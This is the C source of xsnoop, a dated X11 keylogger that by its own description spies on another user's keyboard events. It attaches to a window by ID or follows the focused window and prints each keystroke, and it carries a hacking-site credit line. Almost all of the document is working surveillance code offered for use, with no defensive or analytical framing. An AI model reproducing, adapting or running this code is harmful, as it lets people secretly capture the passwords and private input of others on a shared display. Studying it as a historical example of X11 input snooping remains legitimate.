/*
** xsnoop - spy on another's keyboard events
** by:		Peter Shipley [copyright 1989]
** compile:	cc -O xsnoop.c -o xsnoop -lX11
** use:		xsnoop Windowid
**
**	Windowid		in decimal
**	-w Windowid		in decimal
** 	-h Windowid		in hex
** 	-d name_of_display
** 	-u			 look for key press events instead of key up
** 	-f			 report focus events
**
** see xwininfo(1) or xterm env. var. WINDOWID for window ID number
*/

#include <stdio.h>
#include <ctype.h>
#include <X11/keysym.h>
#include <X11/Xlib.h>
#include <X11/vroot.h>
#define VROOT

#ifndef lint
char *copyright = "@(#) Copyright(c) 1988 Peter Shipley  [HACKMAN].\n\
                  All rights reserved.\n";
#endif not lint

#define EVER ;;

char *ProgramName;
void exit();
void setbuf();

static Window GetCurrWindow( /*display*/);

static void usage ()
{
  (void) fprintf(stderr,
                 "usage: %s ([-w] Windowid | -h 0xWindowid) [-u] [-f] [-F] [-d displayname]\n",
                 ProgramName);
  exit (1);
}

main (argc, argv)
int argc;
char **argv;
{
  char *displayname = NULL;
  int i;
  Window w = (Window) NULL;
  Display *dpy;
  int etype = KeyRelease;
  int f=0;
  int follow=0;

  ProgramName = argv[0];

  for (i = 1; i < argc; i++)
    {
      char *arg = argv[i];

      if (arg[0] == '-')
        {
          switch (arg[1])
            {
            case 'd':			/* -display host:dpy */
              if (++i >= argc) usage ();
              displayname = argv[i];
              continue;

            case 'F':			/* get current  window focus */
              follow++;
              continue;

            case 'f':			/* -f  report focus events */
              f = 1;
              continue;

            case 'u':			/* -u  use keyPress events */
              etype =  KeyPress;
              continue;

            case 'h':			/* -h WindowId_in_hex */
              if (++i >= argc) usage ();
              w = atoi(argv[i]);
              /* (void) sscanf(argv[i], "0x%lx", &w); */
              continue;

            case 'w':			/* -w WindowId_in_decimal */
              if (++i >= argc) usage ();
              w = atoi(argv[i]);
              continue;

            default:
              usage ();
            }				/* end switch on - */
        }
      else
        w = atoi(argv[i]);
    }					/* end for over argc */

  if(w == (Window) NULL && !follow ) usage ();

  setbuf(stdout, (char *) NULL);

  if ((dpy = XOpenDisplay(displayname)) == NULL)
    {
      (void) fprintf (stderr, "%s:  unable to open display '%s'\n",
                      ProgramName, XDisplayName (displayname));
      exit (1);
    }

  if(follow)
    {
      w = GetCurrWindow(dpy);
    }

  XSelectInput(dpy, w, FocusChangeMask|KeyPressMask|KeyReleaseMask);

  (void) printf ("Window is 0x%lx, (%ld)\n", w, w);

  for (EVER)
    {
      XEvent event;

      XNextEvent (dpy, &event);

      if(event.type == etype)
        {
          char str[256+1];
          KeySym ks;
          char *ksname;
          int c;

          c = XLookupString ((XKeyEvent *)&event, str, 256, &ks, NULL);

          if(isprint(str[0]) && c != 0)
            {
              /* (void) fputs(str, stdout); */
              (void) fputc(*str, stdout);
              continue;
            }

          switch(ks)
            {

            case(XK_Linefeed):
                  case(XK_Return):
                      (void) fputc('\n', stdout);
              continue;


            case(XK_Shift_L):
                  case(XK_Shift_R):
                      continue;

            case(XK_BackSpace):
                  case(XK_Delete):
                      (void) fputc('\b', stdout);
              continue;

            default:
              if (ks == NoSymbol)
                ksname = "NoSymbol";
              else if (!(ksname = XKeysymToString (ks)))
                ksname = "no name";
            }

          (void) printf("[%s]",  ksname);
        }

      if( f &&  (event.type == FocusIn) )
    {
          (void) fputs("[FocusIn Event]", stdout);
        }

      if( f &&  (event.type == FocusOut) )
        {
          (void) fputs("[FocusOut Event]", stdout);
        }

      if( follow &&  (event.type == FocusOut))
        {
          char *name;
          Window wind;
          XSelectInput(dpy,
                       wind = GetCurrWindow(dpy),
                       FocusChangeMask|KeyPressMask|KeyReleaseMask);
          if (!XFetchName(dpy, wind, &name) || !name)
            {
              (void) fputs("[{no name}]", stdout);
            }
          else
            {
              (void) printf("[{%s}]", name);
            }
          continue;

        }

    }
}

static Window
GetCurrWindow(d)
Display *d;
{
  Window foo;
  Window win;
  int bar;

  do
    {
      (void) XQueryPointer(d, DefaultRootWindow(d), &foo, &win,
                           &bar, &bar, &bar, &bar, &bar);
    }
  while(win <= 0);


#ifdef VROOT
  {
    int n;
    Window *wins;
    XWindowAttributes xwa;

    (void) fputs("=xwa=", stdout);

    /* do{  */
    XQueryTree(d, win, &foo, &foo, &wins, &n);
    /* } while(wins <= 0); */
    bar=0;
    while(--n >= 0)
      {
        XGetWindowAttributes(d, wins[n], &xwa);
        if( (xwa.width * xwa.height) > bar)
          {
            win = wins[n];
            bar = xwa.width * xwa.height;
          }
        n--;
      }
    XFree(wins);
  }
#endif
  return(win);
}

void exit(i)
int i;
{
  printf("exit = %d\n", i);
  abort();
}
/*                    www.hack.co.za              [2000]*/